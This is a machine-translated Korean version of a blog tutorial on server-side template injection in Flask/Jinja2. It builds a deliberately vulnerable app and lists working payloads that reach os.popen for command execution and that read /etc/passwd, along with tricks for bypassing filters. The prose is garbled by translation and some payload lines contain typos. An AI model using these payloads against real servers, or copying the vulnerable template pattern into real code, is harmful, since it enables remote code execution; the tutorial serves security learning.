예비 이해 SSTI

인 SSTI, 서버 템플릿 주입 원인 서버가 각각의 다양한 결과 악성 콘텐츠를 삽입하는 목표 컴파일 렌더링하는 프로세스의 일부로서 템플릿 웹 콘텐츠로 사용하여 사용자를 수행하여 사용자의 입력을 받는다 문제의 종류.

우선, 내가 pycharm를 사용하기 때문에 직접 프로젝트를 생성 할 수 있도록, (SSTI 플라스크 프레임에 대해 이야기 생각)의 간단한 플라스크를 작성할 수 있습니다.
다음과 같이 app.py 코드는 다음과 같습니다

from flask import Flask#flask需要自己安装
from flask import render_template
from flask import request

app = Flask(__name__)


@app.route('/',methods=['GET','POST'])
def hello_world():
    return render_template("index.html", title='Home', user=request.args.get("key"))


if __name__ == '__main__':
    app.run()

다음과 같이 그리고 폴더를 만들 :
그림 삽입 설명 여기
템플릿 쓰기 index.html 파일을 다음에 (위치 폴더 템플릿 파일이있는 렌더링)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>This is a test</title>
</head>
<body>
<h1>hello.{{ user }}</h1>
</body>
</html>

이 시점에서 얻을 수 실행할 수있는
그림 삽입 설명 여기
매개 변수를 전달 127.0.0.1:5000 개방 key={{2*3}}: 볼 수있는
그림 삽입 설명 여기
이 시간에와 템플릿이 이미 통제 할 수없는 렌더링 때문에 실행하지 못했습니다. 그러나 우리는 app.py에 넣어 때

def hello_world():
    return render_template("index.html", title='Home', user=request.args.get("key"))

대체

def hello_world():
    code = request.args.get('id')
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(code)
    return render_template_string(template)

직접적 문자열 출력으로 변수의 내용에, 다음과 같은 결과가 발생할 수 있기 때문에이 경우, 문제는 큰 :
그림 삽입 설명 여기
당신은 ID가 밖으로 계산이 직접에 볼 수 있습니다. 우리는 템플릿에 주입 할 수있다.
여기에서 우리는 몇 가지 특별한 수업에 파이썬을 알고 있어야합니다 :

__class__#返回调用的参数类型。
__base__#返回基类
__mro__#允许我们在当前Python环境下追溯继承树
__subclasses__()#返回子类

대부분의 형틀 SSTI POC에서 간단한 페이로드는 같은 (객체 클래스는 모든 클래스에 대한 기초 클래스이다) 우리는 객체 클래스의 클래스를 사용할 수있는 방법을 찾는 것이다 "".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('dir').read()134 소집단 객체 클래스 (OS의 사용이다. _wrap_close 클래스) 및 초기화 재사용 전역 변수는 명령 실행의 목적을 달성한다.

"".__class__반환 <class 'str'>
"".__class__.bases__반환 (<class 'object'>,)
"".__class__.__bases__[0].__subclasses__모든 클래스의 반환
"".__class__.__bases__[0].__subclasses__[133]반환되는 <class 'os._wrap_close'>
__init__클래스를 초기화하는 데 사용되는
__globals__모든 글로벌 변수 및 매개 변수와 방법을 찾을 수 있습니다
사용 __globals__['popen']는 popen 메소드를 호출을

: 여기에 몇 가지 페이로드입니다
읽기 / 쓰기 파일 :

[].__class__.bases__[0].__subclasses__()[40]('/etc/passwd').read()
''.__class__.bases__[0].__subclasses__()[40]('/var/www/html').write('test')

명령 :

"".__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('whoami').read()
"".__class__.bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()

우회 팁이 있습니다 :

  1. 키워드 필터링, 당신이 접합을 사용할 수 있습니다, 이러한 필터로 globals, 당신은 사용할 수 있습니다 'glo'+'bals'.
  2. 필터링 된 괄호를 사용할 수 있습니다 __getitem__원래 들어, : ''.__class__.__mro__[2]교체 할 수 있습니다''.__class__.__mro__.getitem__(2)
  3. 필터링 {{}}가능한 {%%}대신.

당신이 P는 소를 볼 수있는 다른 정보와 페이로드가 있습니다 https://p0sec.net/index.php/archives/120/

참고 기사 :
https://xz.aliyun.com/t/3679
https://www.cnblogs.com/hackxf/p/10480071.html

게시 37 개 원래 기사 · 원 찬양 2 · 조회수 1,411

추천

출처blog.csdn.net/weixin_44377940/article/details/105052251